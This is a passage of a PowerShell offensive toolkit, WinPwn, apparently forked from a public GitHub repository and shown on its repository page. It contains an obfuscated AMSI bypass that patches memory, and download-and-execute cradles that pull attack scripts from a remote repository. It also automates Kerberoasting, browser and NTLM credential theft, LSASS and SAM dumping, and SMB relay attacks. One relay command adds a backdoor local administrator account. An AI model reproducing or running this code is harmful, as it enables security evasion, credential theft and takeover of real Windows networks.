forked from S3cur3Th1sSh1t/WinPwn
-
Notifications
You must be signed in to change notification settings - Fork 0
/
WinPwn.ps1
5159 lines (4599 loc) · 244 KB
/
WinPwn.ps1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
# Global TLS Setting for all functions. If TLS12 isn't suppported you will get an exception when using the -Verbose parameter.
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Ssl3 -bor [Net.SecurityProtocolType]::Ssl2 -bor [Net.SecurityProtocolType]::Tls -bor [Net.SecurityProtocolType]::Tls11 -bor [Net.SecurityProtocolType]::Tls12
function AmsiBypass
{
#This is Rastamouses in memory patch method
$ztzsw = @"
using System;
using System.Runtime.InteropServices;
public class ztzsw {
[DllImport("kernel32")]
public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32")]
public static extern IntPtr LoadLibrary(string name);
[DllImport("kernel32")]
public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr msrelr, uint flNewProtect, out uint lpflOldProtect);
}
"@
Add-Type $ztzsw
$kgqdegv = [ztzsw]::LoadLibrary("$([CHar](97)+[CHar](109*53/53)+[cHAR]([ByTE]0x73)+[chAr]([bYTE]0x69)+[char]([byTE]0x2e)+[cHar](100*35/35)+[Char]([bytE]0x6c)+[ChAr]([BYtE]0x6c))")
$dfwxos = [ztzsw]::GetProcAddress($kgqdegv, "$([char]([BytE]0x41)+[CHar]([byTE]0x6d)+[ChAR]([byTe]0x73)+[Char](105+69-69)+[ChAr](83+2-2)+[cHaR]([BYTe]0x63)+[chAR]([bYtE]0x61)+[Char]([Byte]0x6e)+[CHAr](42+24)+[CHAR](117+79-79)+[CHAR](88+14)+[cHAR]([bYte]0x66)+[CHAR](101+22-22)+[cHar]([bYTe]0x72))")
$p = 0
$qddw = "0xB8"
$fwyu = "0x80"
$bsyb = "0x57"
[ztzsw]::VirtualProtect($dfwxos, [uint32]5, 0x40, [ref]$p)
$ymfa = "0x07"
$zcbf = "0x00"
$dned = "0xC3"
$msueg = [Byte[]] ($qddw,$bsyb,$zcbf,$ymfa,+$fwyu,+$dned)
[System.Runtime.InteropServices.Marshal]::Copy($msueg, 0, $dfwxos, 6)
}
$Script:S3cur3Th1sSh1t_repo = "https://raw.githubusercontent.com/S3cur3Th1sSh1t"
function dependencychecks
{
<#
.DESCRIPTION
Checks for System Role, Powershell Version, Proxy active/not active, Elevated or non elevated Session.
Creates the Log directories or checks if they are already available.
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
#Privilege Escalation Phase
[int]$systemRoleID = $(get-wmiObject -Class Win32_ComputerSystem).DomainRole
$systemRoles = @{
0 = " Standalone Workstation " ;
1 = " Member Workstation " ;
2 = " Standalone Server " ;
3 = " Member Server " ;
4 = " Backup Domain Controller " ;
5 = " Primary Domain Controller "
}
#Proxy Detect #1
proxydetect
pathcheck
$PSVersion=$PSVersionTable.PSVersion.Major
write-host "[?] Checking for Default PowerShell version ..`n" -ForegroundColor black -BackgroundColor white ; sleep 1
if($PSVersion -lt 2){
Write-Warning "[!] You have PowerShell v1.0.`n"
Write-Warning "[!] This script only supports Powershell verion 2 or above.`n"
exit
}
write-host " [+] -----> PowerShell v$PSVersion`n" ; sleep 1
write-host "[?] Detecting system role ..`n" -ForegroundColor black -BackgroundColor white ; sleep 1
$systemRoleID = $(get-wmiObject -Class Win32_ComputerSystem).DomainRole
if(($systemRoleID -ne 1) -or ($systemRoleID -ne 3) -or ($systemRoleID -ne 4) -or ($systemRoleID -ne 5)){
" [-] Some features in this script need access to the domain. They can only be run on a domain member machine. Pwn some domain machine for them!`n"
}
write-host " [+] ----->",$systemRoles[[int]$systemRoleID],"`n" ; sleep 1
$Lookup = @{
378389 = [version]'4.5'
378675 = [version]'4.5.1'
378758 = [version]'4.5.1'
379893 = [version]'4.5.2'
393295 = [version]'4.6'
393297 = [version]'4.6'
394254 = [version]'4.6.1'
394271 = [version]'4.6.1'
394802 = [version]'4.6.2'
394806 = [version]'4.6.2'
460798 = [version]'4.7'
460805 = [version]'4.7'
461308 = [version]'4.7.1'
461310 = [version]'4.7.1'
461808 = [version]'4.7.2'
461814 = [version]'4.7.2'
528040 = [version]'4.8'
528049 = [version]'4.8'
}
write-host " [+] -----> Installed .NET Framework versions "
Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP' -Recurse |
Get-ItemProperty -name Version, Release -EA 0 |
Where-Object { $_.PSChildName -match '^(?!S)\p{L}'} |
Select-Object @{name = ".NET Framework"; expression = {$_.PSChildName}},
@{name = "Product"; expression = {$Lookup[$_.Release]}},Version, Release
}
function pathCheck
{
<#
.DESCRIPTION
Checks for correct path dependencies.
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
#Dependency Check
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
Write-Host -ForegroundColor Yellow 'Creating/Checking Log Folders in '$currentPath' directory:'
if(!(Test-Path -Path $currentPath\LocalRecon\)){mkdir $currentPath\LocalRecon\}
if(!(Test-Path -Path $currentPath\DomainRecon\)){mkdir $currentPath\DomainRecon\;mkdir $currentPath\DomainRecon\ADrecon}
if(!(Test-Path -Path $currentPath\LocalPrivEsc\)){mkdir $currentPath\LocalPrivEsc\}
if(!(Test-Path -Path $currentPath\Exploitation\)){mkdir $currentPath\Exploitation\}
if(!(Test-Path -Path $currentPath\Vulnerabilities\)){mkdir $currentPath\Vulnerabilities\}
if(!(Test-Path -Path $currentPath\LocalPrivEsc\)){mkdir $currentPath\LocalPrivEsc\}
}
function sharpcradle{
<#
.DESCRIPTION
Download .NET Binary to RAM.
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
Param
(
[switch]
$allthosedotnet,
[switch]
$web,
[string]
$argument1,
[string]
$argument2,
[string]
$argument3,
[Switch]
$consoleoutput,
[switch]
$noninteractive
)
if(!$consoleoutput){pathcheck}
BlockEtw
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if ($allthosedotnet)
{
@'
__ ___ ____
\ \ / (_)_ __ | _ \__ ___ __
\ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
\ V V / | | | | | __/ \ V V /| | | |
\_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
--> Automate some internal Penetrationtest processes
'@
if ($noninteractive)
{
Write-Host -ForegroundColor Yellow 'Executing Seatbelt.'
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1');
if(!$consoleoutput){Invoke-Seatbelt -Command "-group=all" >> "$currentPath\LocalPrivesc\Seatbelt.txt"}else{Invoke-Seatbelt -Command "-group=all"}
Write-Host -ForegroundColor Yellow 'Doing Kerberoasting + ASRepRoasting.'
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
if(!$consoleoutput){
Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap /outfile:$currentPath\Exploitation\ASreproasting.txt"
Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap /outfile:$currentPath\Exploitation\Kerberoasting_Rubeus.txt"
Get-Content $currentPath\Exploitation\ASreproasting.txt
Get-Content $currentPath\Exploitation\Kerberoasting_Rubeus.txt
}
else
{
Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap"
Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap"
}
Write-Host -ForegroundColor Yellow 'Checking for vulns using Watson.'
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1')
if(!$consoleoutput){
Invoke-watson >> $currentPath\Vulnerabilities\Privilege_Escalation_Vulns.txt
Get-Content $currentPath\Vulnerabilities\Privilege_Escalation_Vulns.txt
}
else
{
Invoke-watson
}
Write-Host -ForegroundColor Yellow 'Getting all theese Browser Creds using Sharpweb.'
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
if(!$consoleoutput){
Invoke-Sharpweb -command "all" >> $currentPath\Exploitation\Browsercredentials.txt
}
else
{
Invoke-Sharpweb -command "all"
}
Write-Host -ForegroundColor Yellow 'Searching for Privesc vulns.'
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1')
if (isadmin)
{
if(!$consoleoutput){Invoke-SharpUp -command "audit" >> $currentPath\Vulnerabilities\Privilege_Escalation_Vulns_SharpUp.txt}else{Invoke-SharpUp -command "audit"}
}
else
{
if(!$consoleoutput){Invoke-SharpUp -command " " >> $currentPath\Vulnerabilities\Privilege_Escalation_Vulns_SharpUp.txt}else{Invoke-SharpUp -command " "}
}
if (isadmin)
{
Write-Host -ForegroundColor Yellow 'Running Internalmonologue.'
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1')
if(!$consoleoutput){
Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true" >> $currentPath\Exploitation\Internalmonologue.txt
Get-Content $currentPath\Exploitation\Internalmonologue.txt
}
else
{
Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true"
}
}
else
{
Write-Host -Foregroundcolor Yellow "Run as admin."
}
return
}
do
{
Write-Host "================ WinPwn ================"
Write-Host -ForegroundColor Green '1. Seatbelt '
Write-Host -ForegroundColor Green '2. Kerberoasting Using Rubeus! '
Write-Host -ForegroundColor Green '3. Search for missing windows patches Using Watson! '
Write-Host -ForegroundColor Green '4. Get all those Browser Credentials with Sharpweb! '
Write-Host -ForegroundColor Green '5. Check common Privesc vectors using Sharpup! '
Write-Host -ForegroundColor Green '6. Internal Monologue Attack: Retrieving NTLM Hashes without Touching LSASS! '
Write-Host -ForegroundColor Green '7. Go back. '
Write-Host "================ WinPwn ================"
$masterquestion = Read-Host -Prompt 'Please choose wisely, master:'
Switch ($masterquestion)
{
1{Write-Host -ForegroundColor Yellow 'Executing Seatbelt. Output goes to the console only';iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Seatbelt.ps1'); Invoke-Seatbelt -Command "-group=all -outputfile=$currentPath\LocalPrivesc\Seatbelt.txt"; pause}
2{Write-Host -ForegroundColor Yellow 'Doing Kerberoasting + ASRepRoasting. Output goes to .\Exploitation\';iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1'); Invoke-Rubeus -Command "asreproast /format:hashcat /nowrap /outfile:$currentPath\Exploitation\ASreproasting.txt"; Invoke-Rubeus -Command "kerberoast /format:hashcat /nowrap /outfile:$currentPath\Exploitation\Kerberoasting_Rubeus.txt"}
3{Write-Host -ForegroundColor Yellow 'Checking for vulns using Watson. Output goes to .\Vulnerabilities\'; iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpWatson.ps1'); Invoke-watson >> $currentPath\Vulnerabilities\Privilege_Escalation_Vulns.txt; }
4{Write-Host -ForegroundColor Yellow 'Getting all theese Browser Creds using Sharpweb. Output goes to .\Exploitation\'; iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1');Invoke-Sharpweb -command "all" >> $currentPath\Exploitation\Browsercredentials.txt}
5{Write-Host -ForegroundColor Yellow 'Searching for Privesc vulns. Output goes to .\Vulnerabilities\';iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-SharpUp.ps1');if (isadmin){Invoke-SharpUp -command "audit" >> $currentPath\Vulnerabilities\Privilege_Escalation_Vulns_SharpUp.txt}else{Invoke-SharpUp -command " " >> $currentPath\Vulnerabilities\Privilege_Escalation_Vulns_SharpUp.txt;} }
6{if (isadmin){Write-Host -ForegroundColor Yellow 'Running Internalmonologue. Output goes to .\Exploitation\'; iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Internalmonologue.ps1');Invoke-Internalmonologue -command "-Downgrade true -impersonate true -restore true" >> $currentPath\Exploitation\SafetyCreds.txt}else{Write-Host -Foregroundcolor Yellow "Run as admin.";pause}}
}
}
While ($masterquestion -ne 7)
}
if ($web)
{
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Invoke-Sharpcradle/master/Invoke-Sharpcradle.ps1')
$url = Read-Host -Prompt 'Please Enter an URL to a downloadable C# Binary to run in memory, for example https://github.com/S3cur3Th1sSh1t/Creds/raw/master/pwned_x64/notepad.exe'
$arg = Read-Host -Prompt 'Do you need to set custom parameters / arguments for the executable?'
if ($arg -eq "yes" -or $arg -eq "y" -or $arg -eq "Yes" -or $arg -eq "Y")
{
$argument1 = Read-Host -Prompt 'Enter argument1 for the executable file:'
$arg1 = Read-Host -Prompt 'Do you need more arguments for the executable?'
if ($arg1 -eq "yes" -or $arg1 -eq "y" -or $arg1 -eq "Yes" -or $arg1 -eq "Y")
{
$argument2 = Read-Host -Prompt 'Enter argument2 for the executable file:'
Invoke-Sharpcradle -uri $url -argument1 $argument1 -argument2 $argument2
}
else{Invoke-Sharpcradle -uri $url -argument1 $argument1}
}
}
}
function customRubeus
{
iex(new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Rubeus.ps1')
$customCommand = Read-Host -Prompt "Please enter the command you want to execute:"
Invoke-Rubeus -Command "$customCommand"
}
function isadmin
{
# Check if Elevated
$isAdmin = ([System.Security.Principal.WindowsPrincipal][System.Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([System.Security.Principal.WindowsBuiltInRole]::Administrator)
return $isAdmin
}
function Inveigh {
<#
.DESCRIPTION
Starts Inveigh in a parallel window.
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
pathcheck
$currentip = Get-currentIP
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
$relayattacks = Read-Host -Prompt 'Do you want to execute SMB-Relay attacks? (yes/no)'
if ($relayattacks -eq "yes" -or $relayattacks -eq "y" -or $relayattacks -eq "Yes" -or $relayattacks -eq "Y")
{
Write-Host 'Starting WinPwn in a new window so that you can use this one for Invoke-TheHash'
invoke-expression 'cmd /c start powershell -Command {$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;IEX(New-Object Net.WebClient).DownloadString(''$S3cur3Th1sSh1t_repo/WinPwn/master/WinPwn.ps1'');WinPwn -repo $S3cur3Th1sSh1t_repo;}'
$target = Read-Host -Prompt 'Please Enter an IP-Adress as target for the relay attacks'
$admingroup = Read-Host -Prompt 'Please Enter the name of your local administrators group: (varies for different countries)'
$Wcl = new-object System.Net.WebClient
$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials
IEX(New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + "/Creds/master/obfuscatedps/Invoke-InveighRelay.ps1")
IEX(New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + "/Creds/master/obfuscatedps/Invoke-SMBClient.ps1")
IEX(New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + "/Creds/master/obfuscatedps/Invoke-SMBEnum.ps1")
IEX(New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + "/Creds/master/obfuscatedps/Invoke-SMBExec.ps1")
Invoke-InveighRelay -ConsoleOutput Y -StatusOutput N -Target $target -Command "net user pwned 0WnedAccount! /add; net localgroup $admingroup pwned /add" -Attack Enumerate,Execute,Session
Write-Host 'You can now check your sessions with Get-Inveigh -Session and use Invoke-SMBClient, Invoke-SMBEnum and Invoke-SMBExec for further recon/exploitation'
}
$adidns = Read-Host -Prompt 'Do you want to start Inveigh with Active Directory-Integrated DNS dynamic Update attack? (yes/no)'
if ($adidns -eq "yes" -or $adidns -eq "y" -or $adidns -eq "Yes" -or $adidns -eq "Y")
{
if (isadmin)
{
cmd /c start powershell -Command {$IPaddress = Get-NetIPConfiguration | Where-Object {$_.IPv4DefaultGateway -ne $null -and $_.NetAdapter.Status -ne "Disconnected"};$currentPath = (Get-Item -Path ".\" -Verbose).FullName;$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/amsi.ps1');IEX (New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -ADIDNS Combo -ADIDNSThreshold 2 -IP $IPaddress.IPv4Address.IPAddress -FileOutput Y -FileOutputDirectory $currentPath\;}
}
else
{
cmd /c start powershell -Command {$IPaddress = Get-NetIPConfiguration | Where-Object {$_.IPv4DefaultGateway -ne $null -and $_.NetAdapter.Status -ne "Disconnected"};$currentPath = (Get-Item -Path ".\" -Verbose).FullName;$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/amsi.ps1');IEX(New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y -NBNS Y -ADIDNS Combo -ADIDNSThreshold 2 -IP $IPaddress.IPv4Address.IPAddress -FileOutput Y -FileOutputDirectory $currentPath\;}
}
}
else
{
if (isadmin)
{
cmd /c start powershell -Command {$IPaddress = Get-NetIPConfiguration | Where-Object {$_.IPv4DefaultGateway -ne $null -and $_.NetAdapter.Status -ne "Disconnected"};$currentPath = (Get-Item -Path ".\" -Verbose).FullName;$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/amsi.ps1');IEX (New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y -NBNS Y -mDNS Y -HTTPS Y -Proxy Y -IP $IPaddress.IPv4Address.IPAddress -FileOutput Y -FileOutputDirectory $currentPath\;}
}
else
{
cmd /c start powershell -Command {$IPaddress = Get-NetIPConfiguration | Where-Object {$_.IPv4DefaultGateway -ne $null -and $_.NetAdapter.Status -ne "Disconnected"};$currentPath = (Get-Item -Path ".\" -Verbose).FullName;$Wcl = new-object System.Net.WebClient;$Wcl.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/amsi.ps1');IEX(New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/Inveigh.ps1');Invoke-Inveigh -ConsoleOutput Y -NBNS Y -FileOutput Y -IP $IPaddress.IPv4Address.IPAddress -FileOutputDirectory $currentPath\;}
}
}
}
function adidnsmenu
{
pathcheck
do
{
@'
__ ___ ____
\ \ / (_)_ __ | _ \__ ___ __
\ \ /\ / /| | '_ \| |_) \ \ /\ / | '_ \
\ V V / | | | | | __/ \ V V /| | | |
\_/\_/ |_|_| |_|_| \_/\_/ |_| |_|
--> ADIDNS menu @S3cur3Th1sSh1t
'@
Write-Host "================ WinPwn ================"
Write-Host -ForegroundColor Green '1. Add ADIDNS Node! '
Write-Host -ForegroundColor Green '2. Remove ADIDNS Node! '
Write-Host -ForegroundColor Green '3. Add Wildcard entry! '
Write-Host -ForegroundColor Green '4. Remove Wildcard entry'
Write-Host -ForegroundColor Green '5. Go back '
Write-Host "================ WinPwn ================"
$masterquestion = Read-Host -Prompt 'Please choose wisely, master:'
Switch ($masterquestion)
{
1{adidns -add}
2{adidns -remove}
3{adidns -addwildcard}
4{adidns -removewildcard}
}
}
While ($masterquestion -ne 5)
}
function adidns
{
param(
[switch]
$addwildcard,
[switch]
$removewildcard,
[switch]
$add,
[switch]
$remove
)
pathcheck
# Kevin-Robertsons Powermad for Node creation
IEX(New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + "/Creds/master/PowershellScripts/Powermad.ps1")
if ($addwildcard)
{
$adidns = Read-Host -Prompt 'Are you REALLY sure, that you want to create a Active Directory-Integrated DNS Wildcard record? This can in the worst case cause network disruptions for all clients and servers for the next hours! (yes/no)'
if ($adidns -eq "yes" -or $adidns -eq "y" -or $adidns -eq "Yes" -or $adidns -eq "Y")
{
$target = read-host "Please enter the IP-Adress for the wildcard entry"
New-ADIDNSNode -Node * -Tombstone -Verbose -data $target
Write-Host -ForegroundColor Red 'Be sure to remove the record with `Remove-ADIDNSNode -Node * -Verbose` at the end of your tests'
}
}
if($removewildcard)
{
Remove-ADIDNSNode -Node *
}
if($add)
{
$target = read-host "Please enter the IP-Adress for the ADIDNS entry"
$node = read-host "Please enter the Node name"
New-ADIDNSNode -Node $node -Tombstone -Verbose -data $target
}
if($remove)
{
$node = read-host "Please enter the Node name to be removed"
Remove-ADIDNSNode -Node $node
}
}
function SessionGopher
{
<#
.DESCRIPTION
Starts slightly obfuscated SessionGopher to search for Cached Credentials.
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput,
[Switch]
$allsystems
)
if(!$consoleoutput){pathcheck}
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
IEX (New-Object Net.WebClient).DownloadString($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/segoph.ps1')
$whole_domain = "no"
if (!$noninteractive){$whole_domain = Read-Host -Prompt 'Do you want to start SessionGopher search over the whole domain? (yes/no) - takes a lot of time'}
if ($whole_domain -eq "yes" -or $whole_domain -eq "y" -or $whole_domain -eq "Yes" -or $whole_domain -eq "Y")
{
$session = Read-Host -Prompt 'Do you want to start SessionGopher with thorough tests? (yes/no) - takes a fuckin lot of time'
if ($session -eq "yes" -or $session -eq "y" -or $session -eq "Yes" -or $session -eq "Y")
{
Write-Host -ForegroundColor Yellow 'Starting Local SessionGopher, output is generated in '$currentPath'\LocalRecon\SessionGopher.txt:'
if(!$consoleoutput){Invoke-S3ssionGoph3r -Thorough -AllDomain >> "$currentPath\LocalRecon\SessionGopher.txt"}else{Invoke-S3ssionGoph3r -Thorough -AllDomain}
}
else
{
Write-Host -ForegroundColor Yellow 'Starting SessionGopher without thorough tests, output is generated in '$currentPath'\LocalRecon\SessionGopher.txt:'
if(!$consoleoutput){Invoke-S3ssionGoph3r -Alldomain >> $currentPath\LocalRecon\SessionGopher.txt}else{Invoke-S3ssionGoph3r -Alldomain}
}
}
else
{
$session = "no"
if(!$noninteractive)
{
$session = Read-Host -Prompt 'Do you want to start SessionGopher with thorough tests? (yes/no) - takes a lot of time'
}
if ($session -eq "yes" -or $session -eq "y" -or $session -eq "Yes" -or $session -eq "Y")
{
Write-Host -ForegroundColor Yellow 'Starting Local SessionGopher, output is generated in '$currentPath'\LocalRecon\SessionGopher.txt:'
Invoke-S3ssionGoph3r -Thorough >> $currentPath\LocalRecon\SessionGopher.txt -Outfile
}
else
{
Write-Host -ForegroundColor Yellow 'Starting SessionGopher without thorough tests,output is generated in '$currentPath'\LocalRecon\SessionGopher.txt:'
Invoke-S3ssionGoph3r >> $currentPath\LocalRecon\SessionGopher.txt
}
}
if ($noninteractive -and $consoleoutput)
{
if ($allsystems)
{
Invoke-S3ssionGoph3r -AllDomain
}
Invoke-S3ssionGoph3r -Thorough
}
}
function Kittielocal
{
<#
.DESCRIPTION
Dumps Credentials from Memory / Registry / SAM Database / Browsers / Files / DPAPI.
Author: @S3cur3Th1sSh1t
License: BSD 3-Clause
#>
param(
[switch]
$noninteractive,
[Switch]
$consoleoutput,
[switch]
$credentialmanager,
[switch]
$mimikittie,
[switch]
$rundll32lsass,
[switch]
$lazagne,
[switch]
$browsercredentials,
[switch]
$mimikittenz,
[switch]
$wificredentials,
[switch]
$samdump,
[switch]
$sharpcloud,
[Switch]
$teamviewer
)
$currentPath = (Get-Item -Path ".\" -Verbose).FullName
if(!$consoleoutput){pathcheck}
AmsiBypass
if ($noninteractive)
{
if ($credentialmanager)
{
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/Creds/master/obfuscatedps/DumpWCM.ps1')
Write-Host "Dumping now, output goes to .\Exploitation\WCMCredentials.txt"
if(!$consoleoutput){Invoke-WCMDump >> $currentPath\Exploitation\WCMCredentials.txt}else{Invoke-WCMDump}
}
if($mimikittie)
{
if (isadmin){if(!$consoleoutput){obfuskittiedump -noninteractive}else{obfuskittiedump -noninteractive -consoleoutput}}
}
if($rundll32lsass)
{
if(isadmin){if(!$consoleoutput){dumplsass -noninteractive}else{dumplsass -noninteractive -consoleoutput}}
}
if($lazagne)
{
if(!$consoleoutput){lazagnemodule -noninteractive}else{lazagnemodule -noninteractive -consoleoutput}
}
if($browsercredentials)
{
Write-Host -ForegroundColor Yellow 'Getting all theese Browser Creds using Sharpweb. Output goes to .\Exploitation\'
iex (new-object net.webclient).downloadstring($S3cur3Th1sSh1t_repo + '/PowerSharpPack/master/PowerSharpBinaries/Invoke-Sharpweb.ps1')
